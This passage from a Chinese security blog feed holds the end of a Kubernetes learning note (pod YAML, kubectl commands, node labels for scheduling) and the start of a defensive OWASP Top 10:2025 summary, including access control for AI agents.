class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">annotations:</span></span><br><span class="line">    <span class="attr">kubectl.kubernetes.io/last-applied-configuration:</span> <span class="string">|</span></span><br><span class="line"><span class="string">      {"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{},"name":"btop251","namespace":"default"},"spec":{"containers":[{"command":["/bin/sh"],"image":"alpine","name":"btop251","stdin":true,"tty":true}]}}</span></span><br><span class="line"><span class="string"></span>  <span class="attr">creationTimestamp:</span> <span class="string">"2026-10-14T06:46:26Z"</span></span><br><span class="line">  <span class="attr">generation:</span> <span class="number">1</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">btop251</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">default</span></span><br><span class="line">  <span class="attr">resourceVersion:</span> <span class="string">"6287"</span></span><br><span class="line">  <span class="attr">uid:</span> <span class="string">ac987043-77fb-49e6-ae26-2b1a337462ae</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">command:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">/bin/sh</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">alpine</span></span><br><span class="line">    <span class="attr">imagePullPolicy:</span> <span class="string">Always</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">btop251</span></span><br><span class="line">    <span class="attr">resources:</span> {}</span><br><span class="line">    <span class="attr">stdin:</span> <span class="literal">true</span></span><br><span class="line">    <span class="attr">terminationMessagePath:</span> <span class="string">/dev/termination-log</span></span><br><span class="line">    <span class="attr">terminationMessagePolicy:</span> <span class="string">File</span></span><br><span class="line">    <span class="attr">tty:</span> <span class="literal">true</span></span><br><span class="line">    <span class="attr">volumeMounts:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">mountPath:</span> <span class="string">/var/run/secrets/kubernetes.io/serviceaccount</span></span><br><span class="line">      <span class="attr">name:</span> <span class="string">kube-api-access-46vw5</span></span><br><span class="line">      <span class="attr">readOnly:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">dnsPolicy:</span> <span class="string">ClusterFirst</span></span><br><span class="line">  <span class="attr">enableServiceLinks:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">nodeName:</span> <span class="string">minikube-m02</span></span><br><span class="line">  <span class="attr">preemptionPolicy:</span> <span class="string">PreemptLowerPriority</span></span><br><span class="line">  <span class="attr">priority:</span> <span class="number">0</span></span><br><span class="line">  <span class="attr">restartPolicy:</span> <span class="string">Always</span></span><br><span class="line">  <span class="attr">schedulerName:</span> <span class="string">default-scheduler</span></span><br><span class="line">  <span class="attr">securityContext:</span> {}</span><br><span class="line">  <span class="attr">serviceAccount:</span> <span class="string">default</span></span><br><span class="line">  <span class="attr">serviceAccountName:</span> <span class="string">default</span></span><br><span class="line">  <span class="attr">terminationGracePeriodSeconds:</span> <span class="number">30</span></span><br><span class="line">  <span class="attr">tolerations:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">effect:</span> <span class="string">NoExecute</span></span><br><span class="line">    <span class="attr">key:</span> <span class="string">node.kubernetes.io/not-ready</span></span><br><span class="line">    <span class="attr">operator:</span> <span class="string">Exists</span></span><br><span class="line">    <span class="attr">tolerationSeconds:</span> <span class="number">300</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">effect:</span> <span class="string">NoExecute</span></span><br><span class="line">    <span class="attr">key:</span> <span class="string">node.kubernetes.io/unreachable</span></span><br><span class="line">    <span class="attr">operator:</span> <span class="string">Exists</span></span><br><span class="line">    <span class="attr">tolerationSeconds:</span> <span class="number">300</span></span><br><span class="line">  <span class="attr">volumes:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">kube-api-access-46vw5</span></span><br><span class="line">    <span class="attr">projected:</span></span><br><span class="line">      <span class="attr">defaultMode:</span> <span class="number">420</span></span><br><span class="line">      <span class="attr">sources:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">serviceAccountToken:</span></span><br><span class="line">          <span class="attr">expirationSeconds:</span> <span class="number">3607</span></span><br><span class="line">          <span class="attr">path:</span> <span class="string">token</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">configMap:</span></span><br><span class="line">          <span class="attr">items:</span></span><br><span class="line">          <span class="bullet">-</span> <span class="attr">key:</span> <span class="string">ca.crt</span></span><br><span class="line">            <span class="attr">path:</span> <span class="string">ca.crt</span></span><br><span class="line">          <span class="attr">name:</span> <span class="string">kube-root-ca.crt</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">downwardAPI:</span></span><br><span class="line">          <span class="attr">items:</span></span><br><span class="line">          <span class="bullet">-</span> <span class="attr">fieldRef:</span></span><br><span class="line">              <span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line">              <span class="attr">fieldPath:</span> <span class="string">metadata.namespace</span></span><br><span class="line">            <span class="attr">path:</span> <span class="string">namespace</span></span><br><span class="line"><span class="attr">status:</span></span><br><span class="line">  <span class="attr">conditions:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">lastProbeTime:</span> <span class="literal">null</span></span><br><span class="line">    <span class="attr">lastTransitionTime:</span> <span class="string">"2026-10-14T06:46:26Z"</span></span><br><span class="line">    <span class="attr">observedGeneration:</span> <span class="number">1</span></span><br><span class="line">    <span class="attr">status:</span> <span class="string">"True"</span></span><br><span class="line">    <span class="attr">type:</span> <span class="string">PodReadyToStartContainers</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">lastProbeTime:</span> <span class="literal">null</span></span><br><span class="line">    <span class="attr">lastTransitionTime:</span> <span class="string">"2026-10-14T06:46:26Z"</span></span><br><span class="line">    <span class="attr">observedGeneration:</span> <span class="number">1</span></span><br><span class="line">    <span class="attr">status:</span> <span class="string">"True"</span></span><br><span class="line">    <span class="attr">type:</span> <span class="string">Initialized</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">lastProbeTime:</span> <span class="literal">null</span></span><br><span class="line">    <span class="attr">lastTransitionTime:</span> <span class="string">"2026-10-14T06:46:30Z"</span></span><br><span class="line">    <span class="attr">observedGeneration:</span> <span class="number">1</span></span><br><span class="line">    <span class="attr">status:</span> <span class="string">"True"</span></span><br><span class="line">    <span class="attr">type:</span> <span class="string">Ready</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">lastProbeTime:</span> <span class="literal">null</span></span><br><span class="line">    <span class="attr">lastTransitionTime:</span> <span class="string">"2026-10-14T06:46:30Z"</span></span><br><span class="line">    <span class="attr">observedGeneration:</span> <span class="number">1</span></span><br><span class="line">    <span class="attr">status:</span> <span class="string">"True"</span></span><br><span class="line">    <span class="attr">type:</span> <span class="string">ContainersReady</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">lastProbeTime:</span> <span class="literal">null</span></span><br><span class="line">    <span class="attr">lastTransitionTime:</span> <span class="string">"2026-10-14T06:46:26Z"</span></span><br><span class="line">    <span class="attr">observedGeneration:</span> <span class="number">1</span></span><br><span class="line">    <span class="attr">status:</span> <span class="string">"True"</span></span><br><span class="line">    <span class="attr">type:</span> <span class="string">PodScheduled</span></span><br><span class="line">  <span class="attr">containerStatuses:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">containerID:</span> <span class="string">containerd://7ce52c74c4aac9c2a5b95701e7ca540ffb8545e42110d5c221aa6529cb9633a4</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">docker.io/library/alpine:latest</span></span><br><span class="line">    <span class="attr">imageID:</span> <span class="string">docker.io/library/alpine@sha256:294b683cb724975bec92580e1e685676bd4b50bda910ddb8c51d4cabeaec77e6</span></span><br><span class="line">    <span class="attr">lastState:</span> {}</span><br><span class="line">    <span class="attr">name:</span> <span class="string">btop251</span></span><br><span class="line">    <span class="attr">ready:</span> <span class="literal">true</span></span><br><span class="line">    <span class="attr">resources:</span> {}</span><br><span class="line">    <span class="attr">restartCount:</span> <span class="number">0</span></span><br><span class="line">    <span class="attr">started:</span> <span class="literal">true</span></span><br><span class="line">    <span class="attr">state:</span></span><br><span class="line">      <span class="attr">running:</span></span><br><span class="line">        <span class="attr">startedAt:</span> <span class="string">"2026-10-14T06:46:30Z"</span></span><br><span class="line">    <span class="attr">user:</span></span><br><span class="line">      <span class="attr">linux:</span></span><br><span class="line">        <span class="attr">gid:</span> <span class="number">0</span></span><br><span class="line">        <span class="attr">supplementalGroups:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="number">0</span></span><br><span class="line">        <span class="bullet">-</span> <span class="number">1</span></span><br><span class="line">        <span class="bullet">-</span> <span class="number">2</span></span><br><span class="line">        <span class="bullet">-</span> <span class="number">3</span></span><br><span class="line">        <span class="bullet">-</span> <span class="number">4</span></span><br><span class="line">        <span class="bullet">-</span> <span class="number">6</span></span><br><span class="line">        <span class="bullet">-</span> <span class="number">10</span></span><br><span class="line">        <span class="bullet">-</span> <span class="number">11</span></span><br><span class="line">        <span class="bullet">-</span> <span class="number">20</span></span><br><span class="line">        <span class="bullet">-</span> <span class="number">26</span></span><br><span class="line">        <span class="bullet">-</span> <span class="number">27</span></span><br><span class="line">        <span class="attr">uid:</span> <span class="number">0</span></span><br><span class="line">    <span class="attr">volumeMounts:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">mountPath:</span> <span class="string">/var/run/secrets/kubernetes.io/serviceaccount</span></span><br><span class="line">      <span class="attr">name:</span> <span class="string">kube-api-access-46vw5</span></span><br><span class="line">      <span class="attr">readOnly:</span> <span class="literal">true</span></span><br><span class="line">      <span class="attr">recursiveReadOnly:</span> <span class="string">Disabled</span></span><br><span class="line">  <span class="attr">hostIP:</span> <span class="number">192.168</span><span class="number">.49</span><span class="number">.3</span></span><br><span class="line">  <span class="attr">hostIPs:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">ip:</span> <span class="number">192.168</span><span class="number">.49</span><span class="number">.3</span></span><br><span class="line">  <span class="attr">observedGeneration:</span> <span class="number">1</span></span><br><span class="line">  <span class="attr">phase:</span> <span class="string">Running</span></span><br><span class="line">  <span class="attr">podIP:</span> <span class="number">10.244</span><span class="number">.1</span><span class="number">.4</span></span><br><span class="line">  <span class="attr">podIPs:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">ip:</span> <span class="number">10.244</span><span class="number">.1</span><span class="number">.4</span></span><br><span class="line">  <span class="attr">qosClass:</span> <span class="string">BestEffort</span></span><br><span class="line">  <span class="attr">resources:</span> {}</span><br><span class="line">  <span class="attr">startTime:</span> <span class="string">"2026-10-14T06:46:26Z"</span></span><br></pre></td></tr></tbody></table></figure><p>删除资源</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl delete pod btop251</span><br></pre></td></tr></tbody></table></figure><p>or 通过yaml来删除</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl delete -f pod.yaml</span><br></pre></td></tr></tbody></table></figure><h4 id="节点调度"><a href="#节点调度" class="headerlink" title="节点调度"></a>节点调度</h4><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">$ kubectl explain pod.spec.nodeSelector</span><br><span class="line">KIND:       Pod</span><br><span class="line">VERSION:    v1</span><br><span class="line"></span><br><span class="line">FIELD: nodeSelector &lt;map[string]string&gt;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">DESCRIPTION:</span><br><span class="line">    NodeSelector is a selector <span class="built_in">which</span> must be <span class="literal">true</span> <span class="keyword">for</span> the pod to fit on a node.</span><br><span class="line">    Selector <span class="built_in">which</span> must match a node<span class="string">'s labels for the pod to be scheduled on</span></span><br><span class="line"><span class="string">    that node. More info:</span></span><br><span class="line"><span class="string">    https://kubernetes.io/docs/concepts/configuration/assign-pod-node/</span></span><br></pre></td></tr></tbody></table></figure><blockquote><p>先创建三个node节点，因为创建节点时第一个节点为控制节点有一个<code>taint(污点)</code>，普通 Pod 没有对应的 <strong>toleration（容忍）</strong>，就不会被调度上去。所以需要用两个普通节点来做实践</p></blockquote><p>一开始我直接通过</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl start --driver=docker -n 3</span><br></pre></td></tr></tbody></table></figure><p>想直接创建三个节点，但是忘记了上一次事件的时候创建的节点没有删除于是触发报错</p><p><img src="/Cloud-Security/CloudNative_learn/CloudNative_learn.assets/image-20261014214402481.png" alt="image-20261014214402481" loading="lazy" decoding="async"></p><blockquote><p><strong>已经创建的资源，某些属性是“不可变”的，想改只能删了重建，或者用专门的“增量”命令。</strong></p></blockquote><p>类似于上面的通过<code>create</code>来创建<code>pod</code>节点，如果想要修改数量或者属性只能通过<code>apply</code>，这个<code>apply</code>可以当作是修改状态，而<code>create</code>只能用于创建</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl node add</span><br></pre></td></tr></tbody></table></figure><p> <img src="/Cloud-Security/CloudNative_learn/CloudNative_learn.assets/image-20261014214804047.png" alt="image-20261014214804047" loading="lazy" decoding="async"></p><p>没问题了</p><p>首先要知道每个node对应的资源是不一样的，有些node上会安排gpu算了来跑机器学习，有些</p><p>先创建一个带有labels的pod</p><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">btop251</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">nodeSelector:</span></span><br><span class="line">  <span class="attr">gpuNode:</span> <span class="string">"true"</span></span><br><span class="line">  <span class="comment">#distype: ssd</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">btop251</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">alpine</span></span><br><span class="line">    <span class="attr">command:</span> [<span class="string">"/bin/sh"</span>]</span><br><span class="line">    <span class="attr">stdin:</span> <span class="literal">true</span></span><br><span class="line">    <span class="attr">tty:</span> <span class="literal">true</span></span><br></pre></td></tr></tbody></table></figure><blockquote><p>注意这里的<code>gpuNode</code>的vaule是”true”，因为在给lables的时候对应的vaule往往是string格式，默认会给出单引号，但是想true，false这些特殊字符，如果不打上双引号会当作布尔类型的字符来处理</p></blockquote><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl apply -f pod.yaml</span><br></pre></td></tr></tbody></table></figure><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$ kubectl get po</span><br><span class="line">NAME      READY   STATUS    RESTARTS   AGE</span><br><span class="line">btop251   0/1     Pending   0          7s</span><br></pre></td></tr></tbody></table></figure><p>注意到状态STATUS为pending，这是一种常见的报错，原因是在创建pod是找不到gpuNode为true的节点，所以创建被挂起而没有跑起来，需要我们给一个节点打上对应的标签</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$ kubectl label node minikube-m03 gpuNode=<span class="literal">true</span></span><br><span class="line">$ kubectl get po</span><br><span class="line">NAME      READY   STATUS    RESTARTS   AGE</span><br><span class="line">btop251   1/1     Running   0          8m38s</span><br></pre></td></tr></tbody></table></figure><p>删除label</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl label node minikube-m03 gpuNode-</span><br></pre></td></tr></tbody></table></figure></body></html>]]>
    </content>
    <id>https://blog.btop251.top/Cloud-Security/CloudNative_learn/</id>
    <link href="https://blog.btop251.top/Cloud-Security/CloudNative_learn/"/>
    <published>2026-10-13T00:00:00.000Z</published>
    <summary>云原生相关概念的基本学习</summary>
    <title>云原生学习</title>
    <updated>2026-10-31T00:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>btop251</name>
    </author>
    <category term="CTF" scheme="https://blog.btop251.top/categories/CTF/"/>
    <category term="CTF" scheme="https://blog.btop251.top/tags/CTF/"/>
    <content>
      <![CDATA[<html><head></head><body><h1 id="OWASP-Top-10-2025"><a href="#OWASP-Top-10-2025" class="headerlink" title="OWASP Top 10:2025"></a>OWASP Top 10:2025</h1><blockquote><p>看了实习要求都有对owasp top10有一定理解，为了防止到时候面试磕磕绊绊说不出个所以然来，所以简单总结一下</p></blockquote><figure class="highlight text"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">OWASP Top 10 是一份面向开发人员与 Web 应用安全的标准意识文档，代表了业界对最关键 Web 应用安全风险的广泛共识。它由开放 Web 应用程序安全项目（OWASP）发布，旨在帮助组织优先关注最严重的安全风险，但它本身不是一份合规检查清单。</span><br></pre></td></tr></tbody></table></figure><p><a href="https://top10.owasp.org/2025/">OWASP Top 10:2025</a></p><h2 id="2025-版最终确定的-10-大风险条目如下："><a href="#2025-版最终确定的-10-大风险条目如下：" class="headerlink" title="2025 版最终确定的 10 大风险条目如下："></a>2025 版最终确定的 10 大风险条目如下：</h2><ol><li><a href="https://top10.owasp.org/2025/A01_2025-Broken_Access_Control/">A01:2025 - Broken Access Control（访问控制失效）</a></li><li><a href="https://top10.owasp.org/2025/A02_2025-Security_Misconfiguration/">A02:2025 - Security Misconfiguration（安全配置错误）</a></li><li><a href="https://top10.owasp.org/2025/A03_2025-Software_Supply_Chain_Failures/">A03:2025 - Software Supply Chain Failures（软件供应链失效）</a></li><li><a href="https://top10.owasp.org/2025/A04_2025-Cryptographic_Failures/">A04:2025 - Cryptographic Failures（加密机制失效）</a></li><li><a href="https://top10.owasp.org/2025/A05_2025-Injection/">A05:2025 - Injection（注入）</a></li><li><a href="https://top10.owasp.org/2025/A06_2025-Insecure_Design/">A06:2025 - Insecure Design（不安全的设计）</a></li><li><a href="https://top10.owasp.org/2025/A07_2025-Authentication_Failures/">A07:2025 - Authentication Failures（身份认证失败）</a></li><li><a href="https://top10.owasp.org/2025/A08_2025-Software_or_Data_Integrity_Failures/">A08:2025 - Software or Data Integrity Failures（软件或数据完整性失效）</a></li><li><a href="https://top10.owasp.org/2025/A09_2025-Security_Logging_and_Alerting_Failures/">A09:2025 - Security Logging and Alerting Failures（安全日志记录和告警失效）</a></li><li><a href="https://top10.owasp.org/2025/A10_2025-Mishandling_of_Exceptional_Conditions/">A10:2025 - Mishandling of Exceptional Conditions（异常情况处理不当）</a></li></ol><h2 id="详解"><a href="#详解" class="headerlink" title="详解"></a>详解</h2><h3 id="A01-访问控制失效"><a href="#A01-访问控制失效" class="headerlink" title="A01 访问控制失效"></a>A01 访问控制失效</h3><blockquote><p>在十大漏洞中，其排名仍居第一。经测试的100%应用程序均存在某种形式的访问控制缺陷。主要的常见漏洞包括：CWE-200：敏感信息暴露给未经授权的实体、CWE-201：通过发送数据泄露敏感信息、CWE-918：服务器端请求伪造（SSRF）以及CWE-352：跨站请求伪造（CSRF）。该类别在提交的数据中出现次数最多，相关CVE的数量位居第二</p></blockquote><h4 id="常见的访问控制漏洞包括："><a href="#常见的访问控制漏洞包括：" class="headerlink" title="常见的访问控制漏洞包括："></a>常见的访问控制漏洞包括：</h4><ul><li>违反最小权限原则，也就是通常所说的默认拒绝。访问权限应只授予特定能力、角色或用户，却对任何人可用。</li><li>通过修改 URL（参数篡改或强制浏览）、内部应用状态或 HTML 页面，或使用修改 API 请求的攻击工具绕过访问控制检查。</li><li>通过提供某账户的唯一标识符，允许查看或编辑他人账户（不安全的直接对象引用）。</li><li>可访问的 API 对 POST、PUT 和 DELETE 缺少访问控制。</li><li>权限提升。未登录时以用户身份操作，或获得超出已登录用户预期的权限（例如管理员访问权限）。</li><li>元数据操纵，例如重放或篡改 JSON Web Token（JWT）访问控制令牌，篡改 cookie 或隐藏字段以提升权限，或滥用 JWT 失效机制。</li><li>CORS 配置错误允许来自未经授权或不受信任来源的 API 访问。</li><li>作为未认证用户强制浏览（猜测 URL）已认证页面，或作为普通用户访问特权页面。</li></ul><h4 id="从技术层面，根本原因可以归结为："><a href="#从技术层面，根本原因可以归结为：" class="headerlink" title="从技术层面，根本原因可以归结为："></a>从技术层面，根本原因可以归结为：</h4><p><strong>第一，访问控制的实现位置错了。</strong> OWASP反复强调一个原则：<strong>访问控制只在可信的服务端代码或无服务器API中实施时才有效</strong>，因为攻击者可以完全控制客户端的所有内容——HTML、JavaScript、Cookie、请求参数。很多团队仍然依赖前端隐藏按钮来做“权限控制”，这在安全上等于没有控制。</p><p><strong>第二，授权逻辑“信任了不该信任的东西”。</strong> OWASP指出，常见的失败模式包括：授权逻辑信任客户端提供的参数（如 <code>X-User-Role</code> 头）、默认权限过宽、以及IDOR中信任客户端提供的对象标识符。本质问题是：系统把“请求中带了什么”当作了“请求者有权做什么”的证明。</p><p><strong>第三，架构演进放大了校验点的数量。</strong> 从单体应用到微服务，从Web端到移动端到API，每个新的入口都是一次“忘记加检查”的新机会。OWASP在API安全领域专门将BOLA（Broken Object Level Authorization）列为首要风险，就是因为REST和GraphQL端点直接在请求中传递对象标识符，一个授权失误就能导致大规模数据暴露。</p><h4 id="防御体系"><a href="#防御体系" class="headerlink" title="防御体系"></a>防御体系</h4><p>OWASP给出的防御建议形成了一个完整的体系：</p><p><strong>架构层面</strong>，访问控制机制应当在服务端<strong>统一实现并复用</strong>，而不是每个开发者各自为政。推荐使用成熟的工具包或模式来提供声明式的访问控制。</p><p><strong>实现层面</strong>，有几个核心实践：记录所有权强制（访问控制模型应强制“记录所有权”，只有记录的拥有者才能操作）；默认拒绝（除公共资源外一律拒绝）；JWT等无状态令牌应设置合理的过期时间，服务端应在登出后使会话标识符失效。</p><p><strong>运维层面</strong>，需要记录访问控制失败并在适当情况下告警；对API实施限流以减少自动化攻击的危害；禁用Web服务器的目录列表功能；确保 <code>.git</code> 等元数据和备份文件不在Web根目录中。</p><p><strong>测试层面</strong>，OWASP特别强调：开发人员和QA人员应在单元测试和集成测试中包含功能级访问控制测试。这意味着访问控制不应是“上线前检查一下”的事情，而应成为开发流程的标配环节。</p><h4 id="在ai环境下"><a href="#在ai环境下" class="headerlink" title="在ai环境下"></a>在ai环境下</h4><p> <strong>一、核心变化：从“用户越权”到“Agent越权”</strong></p><p>传统访问控制模型假设“主体”是人类用户，权限边界相对静态。而在AI时代，<strong>AI Agent成为新的“主体”</strong> ——它自主感知、规划、决策、调用工具。NIST在2026年发布的Agent身份与访问管理概念文件中提出了一个关键问题：<strong>当Agent开始读取文件、调用工具、访问数据库甚至代表用户执行真实操作时，它究竟是谁？它代表谁？又被允许做什么？</strong></p><p>OWASP在2025版《Top 10 for LLM Applications》中将<strong>Excessive Agency（过度代理）</strong> 列为独立风险，并在2026版中将其从第6位<strong>提升至第3位</strong>。Imperva的分析指出：Excessive Agency“关于应用在模型驱动下被允许做什么：它可以调用哪些工具、可以到达哪些系统、一个决策在人类看到之前能走多远”。这本质上就是访问控制问题——只不过主体从人类用户变成了AI Agent。</p><p><strong>二、AI架构带来的新攻击面：MCP与工具调用层</strong></p><p>在传统Web应用中，访问控制失效主要发生在HTTP端点。而在AI Agent架构中，<strong>MCP（Model Context Protocol）服务器和工具调用层成为新的授权盲区</strong>。</p><p><strong>CVE-2026-101084（Obot）</strong> 是一个典型案例。Obot在v0.21.1之前在 <code>/mcp-connect</code> 端点上未能强制执行访问控制规则，<strong>任何已认证用户只要拥有服务器ID就能连接到受限的MCP服务器</strong>。系统依赖“拥有服务器ID”作为授权的充分证明，而非严格校验用户的角色和权限映射。攻击者可以利用已存储的OAuth凭证，通过MCP工具调用访问和操纵敏感后端系统。</p><p><strong>三、防御体系</strong></p><p>agent从传统模型向agent原生IAM演技</p><p><strong>第一，Agent需要独立身份。</strong> NIST明确提出，Agent应被视为<strong>一等身份主体</strong>，拥有自己的唯一标识、凭证和权限，并与授权它的用户建立明确绑定关系。身份关系不再是“用户身份→Agent直接复用→服务”，而应该是“用户身份→授权/委托→Agent身份→服务”。OWASP Agentic AI Top 10强调“给Agent它们自己的身份，而不是用户借来的身份”。</p><p><strong>第二，最小权限原则需要重新定义。</strong> 在Agent时代，最小权限原则首先防范的<strong>并不是攻击者，而是Agent自身的不确定性</strong>。OWASP建议采用<strong>任务作用域、时间受限的权限</strong>：每个任务发放短期、窄范围的token，使用每Agent身份和短期凭证（如mTLS证书），在任务完成时自动过期。AWS Bedrock要求Agent执行角色绑定<strong>权限边界</strong>；Microsoft Entra Agent ID采用<strong>短时令牌和JIT（即时）权限</strong>。</p><p><strong>第三，工具调用层需要独立的授权校验。</strong> MCP服务器必须在<strong>工具执行层</strong>而非仅<strong>工具发现层</strong>做授权检查。OWASP Agentic AI Top 10建议“对Agent尝试使用的每一个工具进行即时验证”，并在模型与任何下游之间设置<strong>策略执行点</strong>。</p><p><strong>第四，审计需要覆盖Agent的决策链路。</strong> NIST指出，当前日志通常记录的是聊天回复，而非<strong>底层的工具动作、权限范围和下游授权决策</strong>。需要将Agent的具体动作与Agent身份和非人类实体绑定，实现有效的可见性。</p><p><strong>第五，人类审批作为最终防线。</strong> OWASP建议对“任何高权限或不可逆操作”要求人类批准，作为基于记忆的提权和困惑代表攻击的最终防线。</p><h3 id="A02-安全配置错误"><a href="#A02-安全配置错误" class="headerlink" title="A02 安全配置错误"></a>A02 安全配置错误</h3><blockquote><p>安全配置错误的核心定义是：<strong>系统、应用或云服务从安全角度被错误设置，从而产生漏洞</strong>。它与访问控制失效有一个本质区别：<strong>访问控制失效是“代码逻辑里少了一个检查”，安全配置错误是“代码本身没问题，但部署时设置错了”</strong>。</p></blockquote><h4 id="常见类型"><a href="#常见类型" class="headerlink" title="常见类型"></a>常见类型</h4><p>安全配置错误的覆盖面极广，OWASP列出了八种典型脆弱场景：</p><p><strong>第一，应用栈缺少安全加固，或云服务权限配置不当。</strong> 这是最宽泛的一类，涵盖从操作系统到应用框架到云服务的所有配置层面。</p><p><strong>第二，不必要的功能被启用或安装。</strong> 未使用的端口、服务、页面、账户、测试框架、权限——每一个都是攻击面。OWASP特别强调了“测试框架”和“示例应用”：很多应用服务器自带示例应用，这些示例往往有已知的安全缺陷，且默认账户密码未修改，攻击者可以直接登录接管服务器。</p><p><strong>第三，默认账户和密码仍然启用且未修改。</strong> 这是最“低级”但也最常见的配置错误。攻击者甚至不需要“黑客技术”，只需要知道默认密码。</p><p><strong>第四，缺少集中配置来拦截过多错误消息。</strong> 错误处理向用户暴露堆栈跟踪或其他过于详细的错误信息。这直接为攻击者提供了系统架构、组件版本、文件路径等情报。</p><p><strong>第五，对已升级系统，最新安全功能被禁用或未安全配置。</strong> 这通常发生在“升级了版本但没更新配置”的场景中。</p><p><strong>第六，过度优先考虑向后兼容，导致不安全配置。</strong> 为了兼容旧客户端而保留不安全的旧协议或旧加密套件。</p><p><strong>第七，应用服务器、框架、库、数据库的安全设置未设为安全值。</strong> 包括Struts、Spring、<a 